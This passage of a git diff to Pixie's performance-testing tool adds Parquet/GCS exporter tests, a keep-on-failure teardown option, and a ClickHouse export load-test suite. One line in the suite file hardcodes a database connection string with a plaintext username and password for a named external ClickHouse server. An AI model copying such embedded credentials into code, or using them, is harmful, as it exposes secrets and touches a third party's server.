reader.ReadRows(parquetRows) + // ReadRows returns io.EOF when it reaches the end, even if it read rows. + if err != nil && !errors.Is(err, io.EOF) { + require.NoError(t, err) + } + assert.Equal(t, 2, n) + + // First row should have all tags present. + // Second row should have tag_node_name as null. + // Column order (alphabetical): experiment_id(0), name(1), tag_node_name(2), tag_pod(3), timestamp(4), value(5) + row0NodeName := parquetRows[0][2] + assert.False(t, row0NodeName.IsNull(), "first row tag_node_name should be present") + + row1NodeName := parquetRows[1][2] + assert.True(t, row1NodeName.IsNull(), "second row tag_node_name should be null") +} + +func TestExportResults_SingleBatch(t *testing.T) { + tmpDir := t.TempDir() + uploadedFiles := make(map[string]string) + + expID := uuid.Must(uuid.NewV4()) + e := &ParquetGCSExporter{ + prefix: "perf-results", + batchSize: 100, + upload: func(ctx context.Context, objectPath string, localPath string) error { + dest := filepath.Join(tmpDir, strings.ReplaceAll(objectPath, "/", "_")) + src, err := os.Open(localPath) + if err != nil { + return err + } + defer src.Close() + dst, err := os.Create(dest) + if err != nil { + return err + } + defer dst.Close() + if _, err := io.Copy(dst, src); err != nil { + return err + } + uploadedFiles[objectPath] = dest + return nil + }, + } + + resultCh := make(chan *metrics.ResultRow, 3) + ts := time.Date(2026, 4, 15, 14, 0, 0, 0, time.UTC) + resultCh <- &metrics.ResultRow{ + Timestamp: ts, + Name: "cpu_seconds_counter", + Value: 100.5, + Tags: map[string]string{"pod": "server-abc"}, + } + resultCh <- &metrics.ResultRow{ + Timestamp: ts.Add(30 * time.Second), + Name: "rss", + Value: 2097152, + Tags: map[string]string{"pod": "server-abc", "node_name": "node-0"}, + } + resultCh <- &metrics.ResultRow{ + Timestamp: ts.Add(60 * time.Second), + Name: "vsize", + Value: 4194304, + Tags: map[string]string{"pod": "server-abc", "node_name": "node-0"}, + } + close(resultCh) + + err := e.ExportResults(context.Background(), expID, resultCh) + require.NoError(t, err) + + // Should have produced exactly one batch file. + assert.Equal(t, 1, len(uploadedFiles), "expected exactly one parquet file") + + // Verify the GCS path includes the date and experiment ID. + for objectPath := range uploadedFiles { + assert.Contains(t, objectPath, expID.String()) + assert.Contains(t, objectPath, "perf-results/") + assert.Contains(t, objectPath, "results_0000.parquet") + } + + // Read the parquet file and verify row count. + for _, localPath := range uploadedFiles { + f, err := os.Open(localPath) + require.NoError(t, err) + defer f.Close() + + stat, err := f.Stat() + require.NoError(t, err) + + pf, err := parquet.OpenFile(f, stat.Size()) + require.NoError(t, err) + assert.Equal(t, int64(3), pf.NumRows()) + + // Verify schema has tag columns from the union of all rows. + fields := pf.Schema().Fields() + fieldNames := make([]string, len(fields)) + for i, f := range fields { + fieldNames[i] = f.Name() + } + sort.Strings(fieldNames) + assert.Equal(t, []string{ + "experiment_id", + "name", + "tag_node_name", + "tag_pod", + "timestamp", + "value", + }, fieldNames) + } +} + +func TestExportResults_MultipleBatches(t *testing.T) { + tmpDir := t.TempDir() + uploadedFiles := make(map[string]string) + + expID := uuid.Must(uuid.NewV4()) + e := &ParquetGCSExporter{ + batchSize: 2, // Small batch size to force multiple files. + upload: func(ctx context.Context, objectPath string, localPath string) error { + dest := filepath.Join(tmpDir, strings.ReplaceAll(objectPath, "/", "_")) + src, err := os.Open(localPath) + if err != nil { + return err + } + defer src.Close() + dst, err := os.Create(dest) + if err != nil { + return err + } + defer dst.Close() + if _, err := io.Copy(dst, src); err != nil { + return err + } + uploadedFiles[objectPath] = dest + return nil + }, + } + + resultCh := make(chan *metrics.ResultRow, 5) + ts := time.Date(2026, 4, 15, 14, 0, 0, 0, time.UTC) + for i := 0; i < 5; i++ { + resultCh <- &metrics.ResultRow{ + Timestamp: ts.Add(time.Duration(i) * 30 * time.Second), + Name: "cpu_usage", + Value: float64(i) * 0.1, + Tags: map[string]string{"pod": "test-pod"}, + } + } + close(resultCh) + + err := e.ExportResults(context.Background(), expID, resultCh) + require.NoError(t, err) + + // 5 rows with batch size 2 should produce 3 files: [2, 2, 1]. + assert.Equal(t, 3, len(uploadedFiles), "expected 3 parquet files for 5 rows with batch size 2") + + // Verify file naming. + hasFile0, hasFile1, hasFile2 := false, false, false + for objectPath := range uploadedFiles { + if strings.Contains(objectPath, "results_0000.parquet") { + hasFile0 = true + } + if strings.Contains(objectPath, "results_0001.parquet") { + hasFile1 = true + } + if strings.Contains(objectPath, "results_0002.parquet") { + hasFile2 = true + } + } + assert.True(t, hasFile0, "missing results_0000.parquet") + assert.True(t, hasFile1, "missing results_0001.parquet") + assert.True(t, hasFile2, "missing results_0002.parquet") + + // Verify total row count across all files. + totalRows := int64(0) + for _, localPath := range uploadedFiles { + f, err := os.Open(localPath) + require.NoError(t, err) + defer f.Close() + stat, err := f.Stat() + require.NoError(t, err) + pf, err := parquet.OpenFile(f, stat.Size()) + require.NoError(t, err) + totalRows += pf.NumRows() + } + assert.Equal(t, int64(5), totalRows) +} + +func TestExportResults_EmptyChannel(t *testing.T) { + uploadCalled := false + e := &ParquetGCSExporter{ + batchSize: 100, + upload: func(ctx context.Context, objectPath string, localPath string) error { + uploadCalled = true + return nil + }, + } + + resultCh := make(chan *metrics.ResultRow) + close(resultCh) + + expID := uuid.Must(uuid.NewV4()) + err := e.ExportResults(context.Background(), expID, resultCh) + require.NoError(t, err) + assert.False(t, uploadCalled, "no files should be uploaded for empty channel") +} + +// --- Benchmarks --- + +// makeBenchRows generates n buffered rows with the specified number of tag keys. +func makeBenchRows(n int, numTags int) []bufferedRow { + ts := time.Date(2026, 4, 15, 12, 0, 0, 0, time.UTC) + rows := make([]bufferedRow, n) + for i := range rows { + tags := make(map[string]string, numTags) + for j := 0; j < numTags; j++ { + tags[fmt.Sprintf("tag_key_%d", j)] = fmt.Sprintf("value_%d_%d", i, j) + } + rows[i] = bufferedRow{ + ExperimentID: "bench-exp-id", + Timestamp: ts.Add(time.Duration(i) * 30 * time.Second), + Name: "cpu_usage", + Value: float64(i) * 0.01, + Tags: tags, + } + } + return rows +} + +func BenchmarkBuildResultRow(b *testing.B) { + for _, numTags := range []int{2, 5, 10} { + b.Run(fmt.Sprintf("tags=%d", numTags), func(b *testing.B) { + rows := makeBenchRows(1, numTags) + tagKeys := collectTagKeys(rows) + row := rows[0] + b.ResetTimer() + b.ReportAllocs() + for i := 0; i < b.N; i++ { + buildResultRow(row, tagKeys) + } + }) + } +} + +func BenchmarkCollectTagKeys(b *testing.B) { + for _, numRows := range []int{100, 1000, 10000} { + b.Run(fmt.Sprintf("rows=%d", numRows), func(b *testing.B) { + rows := makeBenchRows(numRows, 3) + b.ResetTimer() + b.ReportAllocs() + for i := 0; i < b.N; i++ { + collectTagKeys(rows) + } + }) + } +} + +func BenchmarkFlushBatch(b *testing.B) { + for _, numRows := range []int{100, 1000, 10000} { + b.Run(fmt.Sprintf("rows=%d", numRows), func(b *testing.B) { + rows := makeBenchRows(numRows, 3) + e := &ParquetGCSExporter{ + batchSize: numRows, + upload: func(ctx context.Context, objectPath string, localPath string) error { + // No-op upload: measures only in-memory conversion + parquet write to disk. + return nil + }, + } + b.ResetTimer() + b.ReportAllocs() + for i := 0; i < b.N; i++ { + if err := e.flushBatch(context.Background(), "bench/path", 0, rows); err != nil { + b.Fatal(err) + } + } + }) + } +} diff --git a/src/e2e_test/perf_tool/pkg/metrics/prometheus_recorder.go b/src/e2e_test/perf_tool/pkg/metrics/prometheus_recorder.go index 19d08b1b0a9..8e5c1768e24 100644 --- a/src/e2e_test/perf_tool/pkg/metrics/prometheus_recorder.go +++ b/src/e2e_test/perf_tool/pkg/metrics/prometheus_recorder.go @@ -43,10 +43,11 @@ import ( ) type prometheusRecorderImpl struct { - clusterCtx *cluster.Context - spec *experimentpb.PrometheusScrapeSpec - eg *errgroup.Group - resultCh chan<- *ResultRow + clusterCtx *cluster.Context + ownsClusterCtx bool + spec *experimentpb.PrometheusScrapeSpec + eg *errgroup.Group + resultCh chan<- *ResultRow wg sync.WaitGroup stopCh chan struct{} @@ -79,6 +80,9 @@ func (r *prometheusRecorderImpl) Close() { for _, fw := range r.fws { fw.Close() } + if r.ownsClusterCtx { + r.clusterCtx.Close() + } } func (r *prometheusRecorderImpl) run() error { diff --git a/src/e2e_test/perf_tool/pkg/metrics/recorder.go b/src/e2e_test/perf_tool/pkg/metrics/recorder.go index 7e7e44e06e2..12bdf8fd502 100644 --- a/src/e2e_test/perf_tool/pkg/metrics/recorder.go +++ b/src/e2e_test/perf_tool/pkg/metrics/recorder.go @@ -20,6 +20,7 @@ package metrics import ( "context" + "fmt" "golang.org/x/sync/errgroup" @@ -35,7 +36,7 @@ type Recorder interface { } // NewMetricsRecorder creates a new Recorder for the given MetricSpec. -func NewMetricsRecorder(pxCtx *pixie.Context, clusterCtx *cluster.Context, spec *experimentpb.MetricSpec, eg *errgroup.Group, resultCh chan<- *ResultRow) Recorder { +func NewMetricsRecorder(pxCtx *pixie.Context, clusterCtx *cluster.Context, spec *experimentpb.MetricSpec, eg *errgroup.Group, resultCh chan<- *ResultRow) (Recorder, error) { switch spec.MetricType.(type) { case *experimentpb.MetricSpec_PxL: return &pxlScriptRecorderImpl{ @@ -44,14 +45,26 @@ func NewMetricsRecorder(pxCtx *pixie.Context, clusterCtx *cluster.Context, spec eg: eg, resultCh: resultCh, - } + }, nil case *experimentpb.MetricSpec_Prom: - return &prometheusRecorderImpl{ - clusterCtx: clusterCtx, - spec: spec.GetProm(), - eg: eg, - resultCh: resultCh, + promSpec := spec.GetProm() + recorderCtx := clusterCtx + ownsCtx := false + if promSpec.KubeconfigPath != "" || promSpec.KubeContext != "" { + var err error + recorderCtx, err = cluster.NewContextFromOptions(promSpec.KubeconfigPath, promSpec.KubeContext) + if err != nil { + return nil, fmt.Errorf("failed to create cluster context for prometheus recorder: %w", err) + } + ownsCtx = true } + return &prometheusRecorderImpl{ + clusterCtx: recorderCtx, + ownsClusterCtx: ownsCtx, + spec: promSpec, + eg: eg, + resultCh: resultCh, + }, nil } - return nil + return nil, nil } diff --git a/src/e2e_test/perf_tool/pkg/run/BUILD.bazel b/src/e2e_test/perf_tool/pkg/run/BUILD.bazel index 55b3fdc18a9..524a3cab626 100644 --- a/src/e2e_test/perf_tool/pkg/run/BUILD.bazel +++ b/src/e2e_test/perf_tool/pkg/run/BUILD.bazel @@ -18,19 +18,16 @@ load("@io_bazel_rules_go//go:def.bzl", "go_library") go_library( name = "run", - srcs = [ - "row.go", - "run.go", - ], + srcs = ["run.go"], importpath = "px.dev/pixie/src/e2e_test/perf_tool/pkg/run", visibility = ["//visibility:public"], deps = [ "//src/e2e_test/perf_tool/experimentpb:experiment_pl_go_proto", "//src/e2e_test/perf_tool/pkg/cluster", "//src/e2e_test/perf_tool/pkg/deploy", + "//src/e2e_test/perf_tool/pkg/exporter", "//src/e2e_test/perf_tool/pkg/metrics", "//src/e2e_test/perf_tool/pkg/pixie", - "//src/shared/bq", "@com_github_cenkalti_backoff_v4//:backoff", "@com_github_gofrs_uuid//:uuid", "@com_github_gogo_protobuf//jsonpb", diff --git a/src/e2e_test/perf_tool/pkg/run/run.go b/src/e2e_test/perf_tool/pkg/run/run.go index b02b15219c2..5561dd99f7e 100644 --- a/src/e2e_test/perf_tool/pkg/run/run.go +++ b/src/e2e_test/perf_tool/pkg/run/run.go @@ -39,18 +39,21 @@ import ( "px.dev/pixie/src/e2e_test/perf_tool/experimentpb" "px.dev/pixie/src/e2e_test/perf_tool/pkg/cluster" "px.dev/pixie/src/e2e_test/perf_tool/pkg/deploy" + "px.dev/pixie/src/e2e_test/perf_tool/pkg/exporter" "px.dev/pixie/src/e2e_test/perf_tool/pkg/metrics" "px.dev/pixie/src/e2e_test/perf_tool/pkg/pixie" - "px.dev/pixie/src/shared/bq" ) // Runner is responsible for running experiments using the ClusterProvider to get a cluster for the experiment. type Runner struct { c cluster.Provider pxCtx *pixie.Context - resultTable *bq.Table - specTable *bq.Table + exporter exporter.Exporter containerRegistryRepo string + // KeepOnFailure, when true, skips teardown (stop vizier/workloads/recorders + // and cluster cleanup) if the experiment errors, so the cluster state can + // be inspected after the fact. Successful runs still tear down normally. + keepOnFailure bool clusterCtx *cluster.Context clusterCleanup func() @@ -66,16 +69,20 @@ type Runner struct { } // NewRunner creates a new Runner for the given contexts. -func NewRunner(c cluster.Provider, pxCtx *pixie.Context, resultTable *bq.Table, specTable *bq.Table, containerRegistryRepo string) *Runner { +func NewRunner(c cluster.Provider, pxCtx *pixie.Context, exp exporter.Exporter, containerRegistryRepo string) *Runner { return &Runner{ c: c, pxCtx: pxCtx, - resultTable: resultTable, - specTable: specTable, + exporter: exp, containerRegistryRepo: containerRegistryRepo, } } +// SetKeepOnFailure toggles whether teardown is skipped on experiment failure. +func (r *Runner) SetKeepOnFailure(v bool) { + r.keepOnFailure = v +} + // RunExperiment runs an experiment according to the given ExperimentSpec. func (r *Runner) RunExperiment(ctx context.Context, expID uuid.UUID, spec *experimentpb.ExperimentSpec) error { commitTopoOrder, err := getTopoOrder() @@ -83,14 +90,12 @@ func (r *Runner) RunExperiment(ctx context.Context, expID uuid.UUID, spec *exper return err } - eg := errgroup.Group{} - eg.Go(func() error { return r.getCluster(ctx, spec.ClusterSpec) }) - eg.Go(func() error { - if err := r.prepareWorkloads(ctx, spec); err != nil { - return backoff.Permanent(err) - } - return nil - }) + if err := r.getCluster(ctx, spec.ClusterSpec); err != nil { + return err + } + if err := r.prepareWorkloads(ctx, spec); err != nil { + return err + } r.metricsBySelector = make(map[string][]metrics.Recorder) r.metricsResultCh = make(chan *metrics.ResultRow) @@ -98,19 +103,23 @@ func (r *Runner) RunExperiment(ctx context.Context, expID uuid.UUID, spec *exper defer metricsChCloseOnce.Do(func() { close(r.metricsResultCh) }) r.wg.Add(1) - go r.runBQInserter(expID) - - if err := eg.Wait(); err != nil { - if r.clusterCleanup != nil { - r.clusterCleanup() + go func() { + defer r.wg.Done() + if err := r.exporter.ExportResults(ctx, expID, r.metricsResultCh); err != nil { + log.WithError(err).Error("Failed to export results") } - if r.clusterCtx != nil { - r.clusterCtx.Close() + }() + + var runErr error + defer func() { + if r.keepOnFailure && runErr != nil { + log.WithError(runErr).Warn("Experiment failed; --keep_on_failure is set, leaving cluster state intact. " + + "Inspect with kubectl; you are responsible for manual cleanup (e.g. `px delete`, delete workload namespaces).") + return } - return err - } - defer r.clusterCleanup() - defer r.clusterCtx.Close() + r.clusterCleanup() + r.clusterCtx.Close() + }() var egCtx context.Context r.eg, egCtx = errgroup.WithContext(ctx) @@ -123,26 +132,16 @@ func (r *Runner) RunExperiment(ctx context.Context, expID uuid.UUID, spec *exper }) if err := r.eg.Wait(); err != nil { + runErr = err return err } - // The experiment succeeded so we write the spec to bigquery. + // The experiment succeeded so we write the spec to the exporter. encodedSpec, err := (&jsonpb.Marshaler{}).MarshalToString(spec) if err != nil { return err } - specRow := &SpecRow{ - ExperimentID: expID.String(), - Spec: encodedSpec, - CommitTopoOrder: commitTopoOrder, - } - - inserter := r.specTable.Inserter() - inserter.SkipInvalidRows = false - - putCtx, cancel := context.WithTimeout(ctx, 5*time.Minute) - defer cancel() - if err := inserter.Put(putCtx, specRow); err != nil { + if err := r.exporter.ExportSpec(ctx, expID, encodedSpec, commitTopoOrder); err != nil { return err } @@ -152,8 +151,21 @@ func (r *Runner) RunExperiment(ctx context.Context, expID uuid.UUID, spec *exper return nil } -func (r *Runner) runActions(ctx context.Context, spec *experimentpb.ExperimentSpec) error { +func (r *Runner) runActions(ctx context.Context, spec *experimentpb.ExperimentSpec) (retErr error) { canceledErr := backoff.Permanent(context.Canceled) + // Collect start-action cleanups explicitly so we can skip them when + // --keep_on_failure is set and the experiment errors. + var cleanups []func() + defer func() { + failed := retErr != nil || ctx.Err() != nil + if r.keepOnFailure && failed { + log.Warn("Skipping per-action teardown due to --keep_on_failure") + return + } + for i := len(cleanups) - 1; i >= 0; i-- { + cleanups[i]() + } + }() for _, a := range spec.RunSpec.Actions { log.Tracef("started action %s", experimentpb.ActionType_name[int32(a.Type)]) if canceled := r.sendActionTimestamp(ctx, a, "begin"); canceled { @@ -165,19 +177,19 @@ func (r *Runner) runActions(ctx context.Context, spec *experimentpb.ExperimentSp if err != nil { return err } - defer cleanup() + cleanups = append(cleanups, cleanup) case experimentpb.START_WORKLOADS: cleanup, err := r.startWorkloads(ctx, spec, a.Name) if err != nil { return err } - defer cleanup() + cleanups = append(cleanups, cleanup) case experimentpb.START_METRIC_RECORDERS: cleanup, err := r.startMetricRecorders(ctx, spec, a.Name) if err != nil { return err } - defer cleanup() + cleanups = append(cleanups, cleanup) case experimentpb.STOP_VIZIER: if err := r.stopVizier(); err != nil { return err @@ -233,7 +245,11 @@ func (r *Runner) startMetricRecorders(ctx context.Context, spec *experimentpb.Ex continue } - recorder := metrics.NewMetricsRecorder(r.pxCtx, r.clusterCtx, ms, r.eg, r.metricsResultCh) + recorder, err := metrics.NewMetricsRecorder(r.pxCtx, r.clusterCtx, ms, r.eg, r.metricsResultCh) + if err != nil { + _ = r.stopMetricRecorders(selector) + return noCleanup, fmt.Errorf("failed to create metrics recorder: %w", err) + } r.metricsBySelector[selector] = append(r.metricsBySelector[selector], recorder) if err := recorder.Start(ctx); err != nil { _ = r.stopMetricRecorders(selector) @@ -368,29 +384,6 @@ func (r *Runner) prepareWorkloads(ctx context.Context, spec *experimentpb.Experi return nil } -func (r *Runner) runBQInserter(expID uuid.UUID) { - defer r.wg.Done() - - bqCh := make(chan interface{}) - defer close(bqCh) - - inserter := &bq.BatchInserter{ - Table: r.resultTable, - BatchSize: 512, - PushTimeout: 2 * time.Minute, - } - go inserter.Run(bqCh) - - for row := range r.metricsResultCh { - bqRow, err := MetricsRowToResultRow(expID, row) - if err != nil { - log.WithError(err).Error("Failed to convert result row") - continue - } - bqCh <- bqRow - } -} - func getTopoOrder() (int, error) { cmd := exec.Command("git", "rev-list", "--count", "HEAD") var stdout bytes.Buffer diff --git a/src/e2e_test/perf_tool/pkg/suites/BUILD.bazel b/src/e2e_test/perf_tool/pkg/suites/BUILD.bazel index 57b8a9fe368..f25086a301e 100644 --- a/src/e2e_test/perf_tool/pkg/suites/BUILD.bazel +++ b/src/e2e_test/perf_tool/pkg/suites/BUILD.bazel @@ -26,6 +26,7 @@ go_library( "workloads.go", ], embedsrcs = [ + "scripts/clickhouse_export.pxl", "scripts/healthcheck/http_data_in_namespace.pxl", "scripts/healthcheck/vizier.pxl", "scripts/heap_size.pxl", diff --git a/src/e2e_test/perf_tool/pkg/suites/experiments.go b/src/e2e_test/perf_tool/pkg/suites/experiments.go index 998b31c7197..03ef0b86be5 100644 --- a/src/e2e_test/perf_tool/pkg/suites/experiments.go +++ b/src/e2e_test/perf_tool/pkg/suites/experiments.go @@ -36,7 +36,7 @@ func HTTPLoadTestExperiment( dur time.Duration, ) *experimentpb.ExperimentSpec { e := &experimentpb.ExperimentSpec{ - VizierSpec: VizierWorkload(), + VizierSpec: VizierReleaseWorkload(), WorkloadSpecs: []*experimentpb.WorkloadSpec{ HTTPLoadTestWorkload(numConnections, targetRPS, true), }, @@ -347,6 +347,68 @@ func HTTPLoadApplicationOverheadExperiment( return e } +// ClickHouseExportExperiment drives load against Pixie's ClickHouse export +// path. An HTTP loadtest populates http_events on the PEMs, and the +// clickhouse_export PxL script runs on a tight period to continuously export +// a windowed slice of http_events to ClickHouse. +func ClickHouseExportExperiment( + numConnections int, + targetRPS int, + metricPeriod time.Duration, + exportPeriod time.Duration, + exportWindow time.Duration, + clickhouseDSN string, + clickhouseTable string, + predeployDur time.Duration, + dur time.Duration, +) *experimentpb.ExperimentSpec { + e := &experimentpb.ExperimentSpec{ + VizierSpec: VizierWorkload(), + WorkloadSpecs: []*experimentpb.WorkloadSpec{ + HTTPLoadTestWorkload(numConnections, targetRPS, true), + }, + MetricSpecs: []*experimentpb.MetricSpec{ + ProcessStatsMetrics(metricPeriod), + // Stagger the second query a little bit because of query stability issues. + HeapMetrics(metricPeriod + (2 * time.Second)), + ClickHouseExportLoadMetric(exportPeriod, clickhouseDSN, clickhouseTable, clickhouseTable, exportWindow), + ClickHouseOperatorMetrics(metricPeriod), + }, + RunSpec: &experimentpb.RunSpec{ + Actions: []*experimentpb.ActionSpec{ + { + Type: experimentpb.START_VIZIER, + }, + { + Type: experimentpb.START_METRIC_RECORDERS, + }, + { + Type: experimentpb.BURNIN, + Duration: types.DurationProto(predeployDur), + }, + { + Type: experimentpb.START_WORKLOADS, + }, + { + Type: experimentpb.RUN, + Duration: types.DurationProto(dur), + }, + { + Type: experimentpb.STOP_METRIC_RECORDERS, + }, + }, + }, + ClusterSpec: DefaultCluster, + } + e = addTags(e, + "workload/clickhouse-export", + fmt.Sprintf("parameter/num_conns/%d", numConnections), + fmt.Sprintf("parameter/target_rps/%d", targetRPS), + fmt.Sprintf("parameter/export_window/%s", exportWindow), + ) + return e +} + func addTags(e *experimentpb.ExperimentSpec, tags ...string) *experimentpb.ExperimentSpec { if e.Tags == nil { e.Tags = []string{} diff --git a/src/e2e_test/perf_tool/pkg/suites/metrics.go b/src/e2e_test/perf_tool/pkg/suites/metrics.go index aaa7d75bbd0..8c6f961d0cf 100644 --- a/src/e2e_test/perf_tool/pkg/suites/metrics.go +++ b/src/e2e_test/perf_tool/pkg/suites/metrics.go @@ -37,6 +37,14 @@ var heapSizeScript string //go:embed scripts/http_data_loss.pxl var httpDataLossScript string +//go:embed scripts/clickhouse_export.pxl +var clickhouseExportScript string + +// ClickHouseOperatorPromRecorderName is the canonical name used by the CLI's +// --prom_recorder_override flag to retarget the ClickHouse operator scraper at +// a different cluster (kubeconfig/kube_context). +const ClickHouseOperatorPromRecorderName = "clickhouse-operator" + // ProcessStatsMetrics adds a metric spec that collects process stats such as rss,vsize, and cpu_usage. func ProcessStatsMetrics(period time.Duration) *pb.MetricSpec { return &pb.MetricSpec{ @@ -133,6 +141,76 @@ func ProtocolLoadtestPromMetrics(scrapePeriod time.Duration) *pb.MetricSpec { } } +// ClickHouseExportLoadMetric runs the clickhouse export PxL script on a tight +// period to drive load against the ClickHouse write path, and reports the +// row count of each export as a metric. sourceTable is the Pixie events +// table the script reads from (e.g. "http_events", "redis_events"); +// destTable is the ClickHouse destination table. Their column shapes must +// be compatible or Kelvin will crash on the first CH server-side column +// mismatch (see ClickHouseExportSinkNode TODO). +func ClickHouseExportLoadMetric(period time.Duration, dsn string, sourceTable string, destTable string, window time.Duration) *pb.MetricSpec { + return &pb.MetricSpec{ + MetricType: &pb.MetricSpec_PxL{ + PxL: &pb.PxLScriptSpec{ + Script: clickhouseExportScript, + Streaming: false, + CollectionPeriod: types.DurationProto(period), + TemplateValues: map[string]string{ + "dsn": dsn, + "source_table": sourceTable, + "dest_table": destTable, + "window": window.String(), + }, + TableOutputs: map[string]*pb.PxLScriptOutputList{ + "*": { + Outputs: []*pb.PxLScriptOutputSpec{ + singleMetricOutputWithPodNodeName("row_count", "clickhouse_export_rows"), + }, + }, + }, + }, + }, + } +} + +// ClickHouseOperatorMetrics scrapes the Altinity clickhouse-operator's +// metrics-exporter sidecar (`ch-metrics` port 8888), which proxies per-shard +// ClickHouse server metrics. Named so the --prom_recorder_override CLI flag +// can point it at a different cluster via kubeconfig/kube_context. +func ClickHouseOperatorMetrics(scrapePeriod time.Duration) *pb.MetricSpec { + return &pb.MetricSpec{ + MetricType: &pb.MetricSpec_Prom{ + Prom: &pb.PrometheusScrapeSpec{ + Name: ClickHouseOperatorPromRecorderName, + Namespace: "clickhouse", + MatchLabelKey: "app.kubernetes.io/name", + MatchLabelValue: "altinity-clickhouse-operator", + Port: 8888, + ScrapePeriod: types.DurationProto(scrapePeriod), + MetricNames: map[string]string{ + // Gauges: in-flight load on CH servers. + "chi_clickhouse_metric_Query": "clickhouse_active_queries", + "chi_clickhouse_metric_TCPConnection": "clickhouse_tcp_connections", + "chi_clickhouse_metric_HTTPConnection": "clickhouse_http_connections", + "chi_clickhouse_metric_MemoryTracking": "clickhouse_memory_tracking_bytes", + "chi_clickhouse_metric_BackgroundMergesAndMutationsPoolTask": "clickhouse_background_merge_tasks", + "chi_clickhouse_metric_PartsActive": "clickhouse_parts_active", + // Counters: throughput and errors. + "chi_clickhouse_event_Query": "clickhouse_queries_total", + "chi_clickhouse_event_InsertedRows": "clickhouse_inserted_rows_total", + "chi_clickhouse_event_SelectedRows": "clickhouse_selected_rows_total", + "chi_clickhouse_event_FailedQuery": "clickhouse_failed_queries_total", + "chi_clickhouse_event_NetworkSendBytes": "clickhouse_network_send_bytes_total", + "chi_clickhouse_event_NetworkReceiveBytes": "clickhouse_network_receive_bytes_total", + // Per-table gauges: storage-side pressure. + "chi_clickhouse_table_parts_rows": "clickhouse_table_parts_rows", + "chi_clickhouse_table_parts_bytes": "clickhouse_table_parts_bytes", + }, + }, + }, + } +} + func singleMetricOutputWithPodNodeName(col string, newName ...string) *pb.PxLScriptOutputSpec { metricName := col if len(newName) > 0 { diff --git a/src/e2e_test/perf_tool/pkg/suites/scripts/clickhouse_export.pxl b/src/e2e_test/perf_tool/pkg/suites/scripts/clickhouse_export.pxl new file mode 100644 index 00000000000..226bcbfda54 --- /dev/null +++ b/src/e2e_test/perf_tool/pkg/suites/scripts/clickhouse_export.pxl @@ -0,0 +1,45 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# +# source_table: the Pixie events table to read from (e.g. http_events, +# redis_events). dest_table: the ClickHouse destination table name. These +# must have compatible column shapes — exporting http_events rows to a +# pre-existing CH table created for redis_events will make the CH server +# reject the INSERT on the first column mismatch, and the clickhouse-cpp +# client will rethrow that as an uncaught std::exception, crashing Kelvin +# (see ClickHouseExportSinkNode TODO). + +import px + +df = px.DataFrame('{{.TemplateValues.source_table}}', start_time='-{{.TemplateValues.window}}') +df.hostname = px.upid_to_hostname(df.upid) +px.export(df, px.otel.ClickHouseRows( + table='{{.TemplateValues.dest_table}}', + endpoint=px.otel.Endpoint( + url='{{.TemplateValues.dsn}}', + ), +)) + +# Emit one metric row per invocation so we can chart export cadence and row +# counts. The metric recorder will pick up row_count as a single metric. +metric_df = df.groupby([]).agg( + row_count=('time_', px.count), + node_name=('hostname', px.any), +) +metric_df.timestamp = px.now() +metric_df.pod = 'clickhouse-export-driver' +metric_df = metric_df[['timestamp', 'node_name', 'pod', 'row_count']] +px.display(metric_df, 'export_stats') diff --git a/src/e2e_test/perf_tool/pkg/suites/suites.go b/src/e2e_test/perf_tool/pkg/suites/suites.go index 4d5597ddf04..3e16dd75fc1 100644 --- a/src/e2e_test/perf_tool/pkg/suites/suites.go +++ b/src/e2e_test/perf_tool/pkg/suites/suites.go @@ -30,15 +30,16 @@ type ExperimentSuite func() map[string]*pb.ExperimentSpec // ExperimentSuiteRegistry contains all the ExperimentSuite, keyed by name. var ExperimentSuiteRegistry = map[string]ExperimentSuite{ - "nightly": nightlyExperimentSuite, - "http-grid": httpGridSuite, - "k8ssandra": k8ssandraExperimentSuite, + "nightly": nightlyExperimentSuite, + "http-grid": httpGridSuite, + "k8ssandra": k8ssandraExperimentSuite, + "clickhouse-exec": clickhouseExecSuite, } func nightlyExperimentSuite() map[string]*pb.ExperimentSpec { defaultMetricPeriod := 30 * time.Second preDur := 5 * time.Minute - dur := 40 * time.Minute + dur := 5 * time.Minute httpNumConns := 100 exps := map[string]*pb.ExperimentSpec{ "http-loadtest/100/100": HTTPLoadTestExperiment(httpNumConns, 100, defaultMetricPeriod, preDur, dur), @@ -73,6 +74,46 @@ func k8ssandraExperimentSuite() map[string]*pb.ExperimentSpec { return exps } +// clickhouseExecSuite covers the two sides of Pixie's ClickHouse integration +// under load: the write/export path and the read/query path. Both experiments +// share the same metric shape (process/heap/clickhouse-operator) so results +// can be compared directly. +// +// The ClickHouse operator metrics are scraped via the prometheus recorder +// named "clickhouse-operator" -- point the CLI at the correct cluster with: +// +// --prom_recorder_override clickhouse-operator=/path/to/kubeconfig:my-ctx +func clickhouseExecSuite() map[string]*pb.ExperimentSpec { + defaultMetricPeriod := 30 * time.Second + preDur := 5 * time.Minute + // preDur := 2 * time.Minute + dur := 20 * time.Minute + // dur := 5 * time.Minute + httpNumConns := 100 + httpTargetRPS := 3000 + + // Tight cadence on the export script to apply real pressure. + exportPeriod := 5 * time.Second + exportWindow := 30 * time.Second + + clickhouseDSN := "pixie:pixie_password@clickhouse.forensic.austrianopencloudcommunity.org:9000/default" + clickhouseTable := "http_events" + + exps := map[string]*pb.ExperimentSpec{ + "clickhouse-export": ClickHouseExportExperiment( + httpNumConns, httpTargetRPS, + defaultMetricPeriod, + exportPeriod, exportWindow, + clickhouseDSN, clickhouseTable, + preDur, dur, + ), + } + for _, e := range exps { + addTags(e, "suite/clickhouse-exec") + } + return exps +} + func httpGridSuite() map[string]*pb.ExperimentSpec { defaultMetricPeriod := 30 * time.Second preDur := 5 * time.Minute diff --git a/src/e2e_test/perf_tool/pkg/suites/workloads.go b/src/e2e_test/perf_tool/pkg/suites/workloads.go index e0679e5cfb8..c819b794649 100644 --- a/src/e2e_test/perf_tool/pkg/suites/workloads.go +++ b/src/e2e_test/perf_tool/pkg/suites/workloads.go @@ -30,6 +30,32 @@ import ( pb "px.dev/pixie/src/e2e_test/perf_tool/experimentpb" ) +// VizierReleaseWorkload returns the workload spec to deploy a released version of Vizier via `px deploy`. +// This skips the skaffold build step, using pre-built images from the Pixie release. +func VizierReleaseWorkload() 